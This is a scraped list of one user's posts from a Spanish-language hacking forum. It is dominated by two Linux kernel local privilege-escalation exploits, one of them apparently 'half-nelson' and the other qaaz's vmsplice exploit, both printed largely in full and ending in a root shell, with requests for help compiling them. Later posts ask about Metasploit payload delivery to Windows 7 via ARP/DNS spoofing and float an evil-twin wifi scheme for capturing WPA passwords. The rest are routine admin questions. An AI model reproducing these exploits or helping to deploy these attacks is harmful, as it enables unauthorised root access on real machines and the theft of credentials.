   stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
   if (stack_start == MAP_FAILED) {
       printf("[-] failure mapping memory, aborting!\n");
       exit(1);
   }
   stack_end = stack_start + 4096;

   memset(arg, 0, sizeof(union semun));
   memset(&dummy, 0, sizeof(struct semid_ds));
   arg->buf = &dummy;

   /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
   asm volatile (
       "push %%rax\n"
       "push %%rbx\n"
       "push %%rcx\n"
       "push %%rdx\n"
       "push %%rsi\n"
       "push %%rdi\n"
       "movl %0, %%eax\n"
       "movl %1, %%ebx\n"
       "movl %2, %%ecx\n"
       "movl %3, %%edx\n"
       "movl %4, %%esi\n"
       "movq %5, %%rdi\n"
       "movq %%rsp, %%r8\n"
       "movq %6, %%rsp\n"
       "push %%r8\n"
       "int $0x80\n"
       "pop %%r8\n"
       "movq %%r8, %%rsp\n"
       "pop %%rdi\n"
       "pop %%rsi\n"
       "pop %%rdx\n"
       "pop %%rcx\n"
       "pop %%rbx\n"
       "pop %%rax\n"
       :
       : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
       : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
   );

   /* naively extract a pointer to the kstack from the kstack */
   p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
   kstack = *(unsigned long *) p;

   if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
       printf("[-] failed to leak a suitable kstack address, try again!\n");
       exit(1);
   }
   if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
       printf("[-] failed to leak a suitable kstack address, try again!\n");
       exit(1);
   }

   kstack = kstack & ~0x1fff;
   
   return kstack;
}

unsigned long
get_symbol(char *name)
{
   FILE *f;
   unsigned long addr;
   char dummy, sym[512];
   int ret = 0;
 
   f = fopen("/proc/kallsyms", "r");
   if (!f) {
       return 0;
   }
 
   while (ret != EOF) {
       ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
       if (ret == 0) {
           fscanf(f, "%s\n", sym);
           continue;
       }
       if (!strcmp(name, sym)) {
           printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
           fclose(f);
           return addr;
       }
   }
   fclose(f);
 
   return 0;
}

int
get_adjacent_kstacks(void)
{
   int i, ret, shm, pid, type;

   /* create shared communication channel between parent and its children */
   shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
   if (shm < 0) {
       printf("[-] failed creating shared memory, aborting!\n");
       exit(1);
   }

   ret = ftruncate(shm, sizeof(struct region));
   if (ret != 0) {
       printf("[-] failed resizing shared memory, aborting!\n");
       exit(1);
   }

   region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
   memset(region, KSTACK_UNINIT, sizeof(struct region));

   /* parent kstack self-discovery */
   region->parent = get_kstack();

   printf("[+] found parent kstack at 0x%lx\n", region->parent);

   /* fork and discover children with adjacently-allocated kernel stacks */
   for (i = 0; i < NPROC; ++i) {
       pid = fork();

       if (pid > 0) {
           type = KSTACK_PARENT;
           continue;
       } else if (pid == 0) {
           /* children do kstack self-discovery */
           region->addrs[i] = get_kstack();

           /* children sleep until parent has found adjacent children */
           while (1) {
               sleep(1);
               if (region->addrs[i] == KSTACK_DIE) {
                   /* parent doesn't need us :-( */
                   exit(0);
               } else if (region->addrs[i] == KSTACK_UPPER) {
                   /* we're the upper adjacent process */
                   type = KSTACK_UPPER;
                   break;
               } else if (region->addrs[i] == KSTACK_LOWER) {
                   /* we're the lower adjacent process */
                   type = KSTACK_LOWER;
                   break;
               }
           }
           break;
       } else {
           printf("[-] fork failed, aborting!\n");
           exit(1);
       }
   }

   return type;
}

void
do_parent(void)
{
   int i, j, upper, lower;

   /* parent sleeps until we've discovered all the child kstacks */
   while (1) {
       sleep(1);
       for (i = 0; i < NPROC; ++i) {
           if (region->addrs[i] == KSTACK_UNINIT) {
               break;
           }
       }
       if (i == NPROC) {
           break;
       }
   }

   /* figure out if we have any adjacent child kstacks */
   for (i = 0; i < NPROC; ++i) {
       for (j = 0; j < NPROC; ++j) {
           if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
               break;
           }
       }
       if (j != NPROC) {
           break;
       }
   }
   if (i == NPROC && j == NPROC) {
       printf("[-] failed to find adjacent kstacks, try again!\n");
       exit(1);
   }

   upper = i;
   lower = j;

   printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);

   /* signal to non-adjacent children to die */
   for (i = 0; i < NPROC; ++i) {
       if (i != upper && i != lower) {
           region->addrs[i] = KSTACK_DIE;
       }
   }

   /* signal adjacent children to continue on */
   region->addrs[upper] = KSTACK_UPPER;
   region->addrs[lower] = KSTACK_LOWER;

   /* parent sleeps until child has clobbered the fptr */
   while (1) {
       sleep(1);
       if (region->parent == KSTACK_CLOBBER) {
           break;
       }
   }

   printf("[+] escalating privileges...\n");

   /* trigger our clobbered fptr */
   syscall(__NR_restart_syscall);

   /* our privileges should be escalated now */
   if (getuid() != 0) {
       printf("[-] privilege escalation failed, aborting!\n");
       exit(1);
   }

   printf("[+] launching root shell!\n");

   execl("/bin/sh", "/bin/sh", NULL);
}

void
do_child_upper(void)
{
   int i, ret, eco_sock;
   struct sockaddr_ec eco_addr;
   struct msghdr eco_msg;
   struct iovec iovs[IOVS];
   struct ifreq ifr;
   char *target;

   /* calculate payload target, skip prologue */
   target = (char *) payload_child;
   target += 4;
   
   /* give lower child a chance to enter its wait4 call */
   sleep(1);

   /* write some zeros */
   for (i = 0; i < STACK_OFFSET; ++i) {
       iovs[i].iov_base = (void *) 0x0;
       iovs[i].iov_len = 0;
   }

   /* overwrite saved ia32_sysret address on stack */
   iovs[STACK_OFFSET].iov_base = (void *) target;
   iovs[STACK_OFFSET].iov_len = 0x0246;

   /* force abort via EFAULT */
   for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
       iovs[i].iov_base = (void *) 0xffffffff00000000;
       iovs[i].iov_len = 0;
   }

   /* create econet socket */
   eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
   if (eco_sock < 0) {
       printf("[-] failed creating econet socket, aborting!\n");
       exit(1);
   }

   memset(&ifr, 0, sizeof(ifr));
   strcpy(ifr.ifr_name, "lo");

   /* trick econet into associated with the loopback */
   ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
   if (ret != 0) {
       printf("[-] failed setting interface address, aborting!\n");
       exit(1);
   }

   memset(&eco_addr, 0, sizeof(eco_addr));
   memset(&eco_msg, 0, sizeof(eco_msg));
   eco_msg.msg_name = &eco_addr;
   eco_msg.msg_namelen = sizeof(eco_addr);
   eco_msg.msg_flags = 0;
   eco_msg.msg_iov = &iovs[0];
   eco_msg.msg_iovlen = IOVS;

   printf("[+] upper child triggering stack overflow...\n");

   /* trigger the kstack overflow into lower child's kstack */
   ret = sendmsg(eco_sock, &eco_msg, 0);
   if (ret != -1 || errno != EFAULT) {
       printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
       exit(1);
   }

   close(eco_sock);
}

void
do_child_lower(void)
{
   int pid;

   printf("[+] lower child spawning a helper...\n");

   /* fork off a helper to wait4 on */
   pid = fork();
   if (pid == 0) {
       printf("[+] helper going to sleep...\n");
       sleep(5);
       printf("[+] helper woke up\n");
       exit(1);
   }

   printf("[+] lower child calling compat_sys_wait4 on helper...\n");

   /* syscall(NR_WAIT4, pid, 0, 0, 0) */
   asm volatile (
       "push %%rax\n"
       "push %%rbx\n"
       "push %%rcx\n"
       "push %%rdx\n"
       "push %%rsi\n"
       "movl %0, %%eax\n"
       "movl %1, %%ebx\n"
       "movl %2, %%ecx\n"
       "movl %3, %%edx\n"
       "movl %4, %%esi\n"
       "int $0x80\n"
       "pop %%rsi\n"
       "pop %%rdx\n"
       "pop %%rcx\n"
       "pop %%rbx\n"
       "pop %%rax\n"
       :
       : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
       : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
   );

   printf("[+] lower child returned from compat_sys_wait4\n");

   printf("[+] parent's restart_block has been clobbered\n");

   /* signal parent that our fptr should now be clobbered */
   region->parent = KSTACK_CLOBBER;
}

int
main(int argc, char **argv)
{
   int type;

   if (sizeof(unsigned long) != 8) {
       printf("[-] x86_64 only, sorry!\n");
       exit(1);
   }

   printf("[+] looking for symbols...\n");
 
   commit_creds = (_commit_creds) get_symbol("commit_creds");
   if (!commit_creds) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }
 
   prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
   if (!prepare_kernel_cred) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }

   ia32_sysret = get_symbol("ia32_sysret");
   if (!ia32_sysret) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }

   printf("[+] spawning children to achieve adjacent kstacks...\n");

   type = get_adjacent_kstacks();

   if (type == KSTACK_PARENT) {
       do_parent();
   } else if (type == KSTACK_UPPER) {
       do_child_upper();
   } else if (type == KSTACK_LOWER) {
       do_child_lower();
   }

   return 0;
}



Al poner el siguiente comando:  gcc half-nelson.c -o half-nelson -lrt

Me sale el siguiente error:

Citarhalf-nelson.c: In function 'get_kstack':
half-nelson.c:265: warning: integer constant is too large for 'long' type
half-nelson.c:265: warning: integer constant is too large for 'long' type
half-nelson.c: In function 'do_child_upper':
half-nelson.c:475: warning: integer constant is too large for 'long' type
half-nelson.c: In function 'get_kstack':
half-nelson.c:231: error: unknown register name 'r8' in 'asm'

No se ni que podría ser, gracias de antemano.


#31
Hola

No manejo muy bien las compilaciones aún, tanto de programas como de trozos de programas, como es este exploit.
El caso es que estoy intentando compilar el siguiente código.

/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
   unsigned long flags;
   int count;
   int mapcount;
   unsigned long private;
   void *mapping;
   unsigned long index;
   struct { long next, prev; } lru;
};

void    exit_code();
char    exit_stack[1024 * 1024];

void    die(char *msg, int err)
{
   printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
   fflush(stdout);
   fflush(stderr);
   exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246

static_inline
void    exit_kernel()
{
   __asm__ __volatile__ (
   "movl %0, 0x10(%%esp) ;"
   "movl %1, 0x0c(%%esp) ;"
   "movl %2, 0x08(%%esp) ;"
   "movl %3, 0x04(%%esp) ;"
   "movl %4, 0x00(%%esp) ;"
   "iret"
   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
       "i" (USER_CS), "r" (exit_code)
   );
}

static_inline
void *  get_current()
{
   unsigned long curr;
   __asm__ __volatile__ (
   "movl %%esp, %%eax ;"
   "andl %1, %%eax ;"
   "movl (%%eax), %0"
   : "=r" (curr)
   : "i" (~8191)
   );
   return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246

static_inline
void    exit_kernel()
{
   __asm__ __volatile__ (
   "swapgs ;"
   "movq %0, 0x20(%%rsp) ;"
   "movq %1, 0x18(%%rsp) ;"
   "movq %2, 0x10(%%rsp) ;"
   "movq %3, 0x08(%%rsp) ;"
   "movq %4, 0x00(%%rsp) ;"
   "iretq"
   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
       "i" (USER_CS), "r" (exit_code)
   );
}

static_inline
void *  get_current()
{
   unsigned long curr;
   __asm__ __volatile__ (
   "movq %%gs:(0), %0"
   : "=r" (curr)
   );
   return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
   long, _vmsplice,
   int, fd,
   struct iovec *, iov,
   unsigned long, nr_segs,
   unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void    kernel_code()
{
   int i;
   uint    *p = get_current();

   for (i = 0; i < 1024-13; i++) {
       if (p[0] == uid && p[1] == uid &&
           p[2] == uid && p[3] == uid &&
           p[4] == gid && p[5] == gid &&
           p[6] == gid && p[7] == gid) {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           p = (uint *) ((char *)(p + 8) + sizeof(void *));
           p[0] = p[1] = p[2] = ~0;
           break;
       }
       p++;
   }  

   exit_kernel();
}

void    exit_code()
{
   if (getuid() != 0)
       die("wtf", 0);

   printf("[+] root\n");
   putenv("HISTFILE=/dev/null");
   execl("/bin/bash", "bash", "-i", NULL);
   die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
   int     pi[2];
   size_t      map_size;
   char *      map_addr;
   struct iovec    iov;
   struct page *   pages[5];

   uid = getuid();
   gid = getgid();
   setresuid(uid, uid, uid);
   setresgid(gid, gid, gid);

   printf("-----------------------------------\n");
   printf(" Linux vmsplice Local Root Exploit\n");
   printf(" By qaaz\n");
   printf("-----------------------------------\n");

   if (!uid || !gid)
       die("!@#$", 0);

   /*****/
   pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
   pages[1] = pages[0] + 1;

   map_size = PAGE_SIZE;
   map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
       die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[0]);
   printf("[+] page: 0x%lx\n", pages[1]);

   pages[0]->flags    = 1 << PG_compound;
   pages[0]->private  = (unsigned long) pages[0];
   pages[0]->count    = 1;
   pages[1]->lru.next = (long) kernel_code;

   /*****/
   pages[2] = *(void **) pages[0];
   pages[3] = pages[2] + 1;

   map_size = PAGE_SIZE;
   map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
       die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[2]);
   printf("[+] page: 0x%lx\n", pages[3]);

   pages[2]->flags    = 1 << PG_compound;
   pages[2]->private  = (unsigned long) pages[2];
   pages[2]->count    = 1;
   pages[3]->lru.next = (long) kernel_code;

   /*****/
   pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
   map_size = PAGE_SIZE;
   map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
       die("mmap", errno);
   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[4]);

   /*****/
   map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
   map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
       die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

   /*****/
   map_size -= 2 * PAGE_SIZE;
   if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
       die("munmap", errno);

   /*****/
   if (pipe(pi) < 0) die("pipe", errno);
   close(pi[0]);

   iov.iov_base = map_addr;
   iov.iov_len  = ULONG_MAX;

   signal(SIGPIPE, exit_code);
   _vmsplice(pi[1], &iov, 1, 0);
   die("vmsplice", errno);
   return 0;
}


Y me sale el siguiente error al intentar compilar con el siguiente comando: $ gcc exploit.c -o exploit

vmsplice.c:12:22: error: asm/page.h: No existe el fichero o el directorio
vmsplice.c: In function 'main':
vmsplice.c:193: error: 'PAGE_SIZE' undeclared (first use in this function)
vmsplice.c:193: error: (Each undeclared identifier is reported only once
vmsplice.c:193: error: for each function it appears in.)
vmsplice.c:203: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'char *'
vmsplice.c:203: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'char *'
vmsplice.c:204: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'struct page *'
vmsplice.c:205: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'struct page *'
vmsplice.c:223: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'char *'
vmsplice.c:223: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'char *'
vmsplice.c:224: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'struct page *'
vmsplice.c:225: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'struct page *'
vmsplice.c:240: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'char *'
vmsplice.c:240: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'char *'
vmsplice.c:241: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'struct page *'
vmsplice.c:251: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'char *'
vmsplice.c:251: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'char *'


El exploit es el de vmslice, de escalada de privilegios local en Linux.

Supongo que el problema está en que me faltan cabeceras, ya que por ahí lo pone, pero no se como conseguirlas.

Y otra pregunta, si yo compilo el exploit en mi Ubuntu y quiero probar el exploit en un Ubuntu diferente no tendré que volver a compilarlo verdad?

Gracias de antemano.
#32
Hola

Tengo un disquete de 3 1/2 al cual el formato se a perdido, como alguna vez me paso con un disco duro y pude recuperar los datos pensé que con un disquete podría hacer lo mismo, pero como son un poco antiguos en google no encuentro mucha información.

Encontré el PC-TOOLS, estoy buscándolo y lo probaré pero si alguien puede decirme alguno mas para ir descargando, o uno que crea que funcione mejor que el PC-TOOLS se lo agradecería.
#33
Necesito concretamente quitar la imagen de inicio del Backtrack 5 R1.

Es decír, la imagen del Dragón que sale cuando arranca el sistema.

Supongo que será una imagen que estará por /etc/ini.... pero no se donde buscarla ni tengo el nombre de ella para hacer un grep y poder cambiarla por otra, y también me gustaría saber la linea del script de inicio donde añade la linea de mostrar la imagen, si se puede claro.

Gracias de antemano.

He encontrado una forma en esta misma página en el apartado de trucos linux

CitarNecesitaremos:
1.- El logotipo
2.- En fuente del kernel 2.6.x que vayamos a compilar.

Crearemos nuestra imagen con nuestro programa favorito (como buenos linuxeros que somos usaremos Gimp :wink: ), y la guardaremos en formato PNG.

A continuación ejecutamos los pasos siguientes:

1.- Ejecutar "convert logo.ext temporal1.ppm
2.- ppmquant 224 temporal1.ppm > temporal2.ppm
3.- pnmnoraw logo_passo2.ppm > logo_linux_clut224.ppm

Este logo lo copiaremos dentro del directorio donde hayamos descomprimido el kernel de Linux.
En mi caso, he utilizado un kernel 2.6.5 (en el 2.6.6 no me funcionaba bien la tarjeta de sonido), así que lo que hacemos sería:

cp logo_linux_clut224.ppm /usr/src/kernel-source-2.6.5/drivers/video/logo/.

Seguidamente, configuraremos el núcleo con las opciones que necesitemos para nuestro hardware.
Además tendremos que añadir el soporte de Framebuffer en el mismo: Dentro de "Device Drivers", nos vamos a "Graphics Support" y aqui encontraremos al final de la lista dos entradas: "Console display driver support" y "Logo configuration".
En "Console display driver support", seleccionaremos las opciones "Video mode selection support", "Framebuffer Console support", "Select compiled-in fonts", y "VGA 8x16 font"

Dentro de "Logo configuration", seleccionamos "Bootup logo" y "Standard 224-color linux logo".

Salimos, salvamos la configuración, compilamos e instalamos el kernel.

Sólo con esto, en el próximo arranque que realicemos veremos como Tux se ha reemplazado por la imagen de nuestra elección.


Eso me sirve para mi caso? es necesario hacer todos los pasos? se tiene que añadir alguno?

Gracias

#34
Estoy a punto de formatear el mac porque tiene unos 4-5 años y lo necesita, pero no quiero perder las listas de reproducción con sus carpetas ordenadas, ya que me costó una barbaridad tenerlo todo ordenado.

Si no se puede hacer una copia de seguridad de todo el itunes en general creo que voy a pasar de el, porque solo con ordenarme als canciones pierdo mucho tiempo.

Por cierto, la copia debería ser en archivo comprimido, no en cd's como me dice Itunes en "Archivo>biblioteca>copia de seguridad..." Ya que son 30 gigas de musica.

Otra pregunta que quería hacer es que sistema operativo OS creeis que iría mejor para un macbook 13 de carcasa blanca, de los viejos claro, ya que el nuevo, el Lion, no se si funcionará muy bien con este modelo.

Gracias de antemano.
#35
Hacking / [Metasploit] Exploits de windows 7
20 Septiembre 2011, 23:35 PM
Saludos

Estoy con metasploit ahora mismo, mirando tutoriales, manuales y demás. Me he fijado, al menos en los que yo he visto, que los exploits que funcionan para Windows 7 son de ingeniería social, es decir ,que hace falta que el usuario-víctima que este al otro lado nos ayude un poco insertando una url en su navegador o abriendo un archivo.

Tengo dos preguntas...

La primera:
Si se puede hacer que, por ejemplo, cuando el usuario inserte una url (que suele ser la Ip del atacante directamente) se cargue el payload del meterpreter y para ser mas efectivo crear una combinación de arpspoofing con dnsspoofing para que no fuera tan ingeniería social? es decir que a la víctima se le diga que todas las direcciones web van directamente a la IP del atacante para cargarle el payload.

La seguna:
Existen exploits (en el metasploit)  que no se necesite ingeniería social para entrar en un Windows 7?


Gracias de antemano.
#36
Saludos.



Estoy intentando hacer un servidor con Debian squeeze que analize todo el tráfico que pasa por el. Voy hacer un pequeño esquema.






>>>>>Router wifi (este router tiene que dar wifi)

Interfaces:
-Entrada/salida a la WAN: Este puerto va conectado al ordenador servidor.
                        Configuración: IP-192.168.1.2
                                                   NETMASK: 255.255.255.0
                                                  GATEWAY: 192.168.1.1
-Puerto hacia los 4 hosts ethernet y hosts wifis: La IP desde donde se configura el router
                        Configuracion: IP-192.168.2.1
                         NETMASK: 255.255.255.0



>>>>>Servidor con Debian (Es el que se encarga de dar conexión entre el router wifi y el router con internet)

Interfaces
-Eth0: Este puerto va conectado al router con internet
                             Configuración: IP-192.168.0.199
                             NETMASK:255.255.255.0
                             GATEWAY:192.168.0.1
-Eth1: Este puerto va conectado al router wifi.
                             Configuración: IP-192.168.1.1
                             NETMASK:255.255.255.0




>>>>>>>>>>>Router internet (Este dispositivo da internet a toda la red, tiene conectado el ordenador servidor)

Interfaces
-WAN: Configurado correctamente con ip publica

-4 puertos ethernet: Este dispositivo da internet a 3 hosts mas aparte del servidor
                                       Su IP de cofiguración es: 192.168.0.1


                                                     



El router wifi tiene configurado los DNS igual que el router con internet, y la puerta de enlace es el servidor Debian.

He puesto el servidor debian en forwarding (  echo 1 > /proc/sys/net/ipv4/ip_forward )y aún así no me enruta el tráfico del router wifi al router con internet.

El router wifi esta en modo route en vez de bridge, bueno, realmente lo he probado de las dos formas.

Lo único que he podido hacer desde el router wifi es un ping al servidor debian y que se vea desde la interfaz eth1 del servidor Debian. Pero nada mas.

Que estoy haciendo mal o que me falta?

Gracias de antemano.
#37
Saludos.

Mirando las redes honeypots y las técnicas que usan para crear redes wifi identicas a las legitimas para así analizar los ataques se me a ocurrido que podría hacerse al reves.

Es decir, se podría crear una wifi con el nombre de la wifi a la que se quiere atacar. A la wifi legítima le atacamos con un ataque de DoS para que este inactiva y entonces el cliente se conecta a la wifi falsa ingresando de nuevo su contraseña WPA o incluso su Usuario y contraseña en WPA2.

No se si esto es factible o no, seguramente si lo es ya habrá gente que lo habrá probado.

Si alguien lo ha probado o quiere probarlo creo que solo haría falta levantar la wifi con un ordenador con wifi, con el mismo nombre y el mismo tipo de seguridad que la wifi legítima. Pero ahora si la contraseña que se ingrese en el router (el ordenador) falso se debe almacenar de alguna forma (alomejor existe algún software para hacerlo), esto supongo que se hará como en los routers SOHO, en PHP. Idioma de programación que aún no conozco mucho o al menos no lo suficiente.


A ver que os parece la idea.

Si ya existe y teneis información os agradecería que me la pasarais.

#38
Saludos.


Estoy intentando hace una secuencia de pings a distintos host de una red y se me plantea un problema.

Estoy intentando hacer ping a todos los host de una red de clase A. Y quiero que sea secuancialmente, es decir de esta forma:

ping 10.0.0.1
ping 10.0.0.2
ping 10.0.0.3
...

Y que cuando llegue a 254 pase al siguiente grupo y siga haciendo ping, así:

ping 10.0.1.1
ping 10.0.1.2
ping 10.0.1.3
...

Pues este es el problema, no se como hacer que for me consiga esto, lo primero que se me ocurrio es la barbaridad de poner un for dentro de un for, no se ni si funciona, pero a mi no me funcionó.

Pongo el código para verlo mas claro, se que no está bien planteado porque son 3 las cifras a cambiar y solo hay 2 for, pero es nada mas un ejemplo:

Citar
For /l %%i IN (1,1,254) do (
     For /l %%e (1,1,254) do (
           ping -n 1 10.%%i.%%e.%%e
           )
    ping -n 1 10.%%i.%%i.%%e
    )

Bueno, pido algo de ayuda, una pista o algo por el estilo y si se puede hacer claro.  Ya se que batch es muy limitado pero me gusta conocer los limites de las cosas  :).

Gracias de antemano
#39
Windows / [cmd] comando para sacar la netmask
25 Agosto 2011, 11:34 AM
Saludos

Estaba buscando un comando parecido a este:

Código (DOS) [Seleccionar]
netsh diag show ip

Pero para la máscara de red.

Gracias por leer
#40
Saludos

Quería saber que comando es el equivalente a who en Windows.

Es decir, el comando que te dice con que usuario te has "logueado" y estas actualmente en consola.

Creo que podría ser con una opción de "net user", pero no se cual.

Gracias de antemano.
#41
No se si habrán hablado de esto ya, pero lo he buscado y no lo he encontrado en el subforo de wireless.

Estoy haciendo pruebas con el cifrado WPA y me pregunto si conseguir 2 o mas hadnshakes tiene algún tipo de beneficio.
A lo mejor ayuda al aircrack para que puede hacer un método de igualación entre los dos handshakes a la vez que prueba las contraseñas o no se... bueno por eso mismo pregunto, porque no se.

Gracias de antemano.
#42
Saludos.

Aún no he intentado nada porque tampoco se como plantearlo.


Lo que quisiera hacer es que cuando en una carpeta se añada un archivo , se cual sea, que el script ejecutara algún tipo de orden para que encienda una luz o emita un sonido.

Ideas que podrían funcionar:


1- Por usb ( esto no se si será muy complicado), que tenga una luz a el conectado y que envíe una señal corta.

2- Que emita un sonido de alerta (podría ejecutarse el reproductor por 1 sec  en segundo plano y cuando acabara el sonido que se cerrara automáticamente, creo que esta es la mas fácil)

3- Y la única forma que sabría hacer sin ayuda (el script, el montaje hardware ya me costaría mas)  ejecutando un "eject" y que en la salida del CD o DVD hubiera una luz en el cable molex en vez de un CD y que esta se encendiera unos segundos.

Desde luego la ultima creo que no será tan fácil como creo, ya que supongo que empalmando el cable de 5 voltios molex a la luz  no sería suficiente, tendría que coger el cable de IDE, y si quisiera hacerlo con el cable de la disquetera sería lo mismo supongo.
(Esto si se puede hacer lo preguntará en hardware mejor)

Para quien le interese saber porque quiero enredar tanto la cosa, es porque tengo un servidor FTP que me envían archivos de vez en cuando, y este no lo tengo con pantalla ni teclado ni nada, lo tengo conectado a mi red y accedo a el por ssh. Pero claro, no me gusta estar todo el rato haciendo un ls a la carpeta en cuestión.

Por supuesto, si existe alguna funcionalidad del sistema para que haga esto, o un software adicional que haga lo dicho también será bien recibido.


Bueno, ahí lo dejo, cualquier ayuda es agradecida. Y por supuesto prefiero pistas, que código hecho ya.

#43
Hola. Antes de nada decir que he mirado los temas relacionas con vsftpd en el foro, también en internet, he probado todas las configuraciones que he podido realizar, me refiero a usuarios locales y virtuales. Ahora mismo uso un usuario local.

EL PROBLEMA:

-Puedo conectar con usuario, puedo descargar archivo. Pero no puedo subir archivo el error es el siguiente:

200 PORT command successful. Consider using PASV.
553 Could not create file.


COMO LO TENGO CONFIGURADO:

-La parte de internet: Tengo ip dinámica con DDNS agregado a ella.
El router esta configurado con los puertos abiertos hacia el equipo con la zona DMZ bien configurada.

-Firewall: tengo el iptables configurado de la siguiente forma:
target     prot opt source               destination        
ACCEPT     all  --  anywhere             anywhere            
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ftp-data
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ftp
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:www
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpts:50000:60000

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination        

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination        
ACCEPT     all  --  anywhere             anywhere  


-Por la parte del archivo de configuración de vsftpd.conf:

anonymous_enable=NO
chroot_local_user=YES
#guest_enable=YES
#guest_username=infor
hide_ids=YES
listen=yes
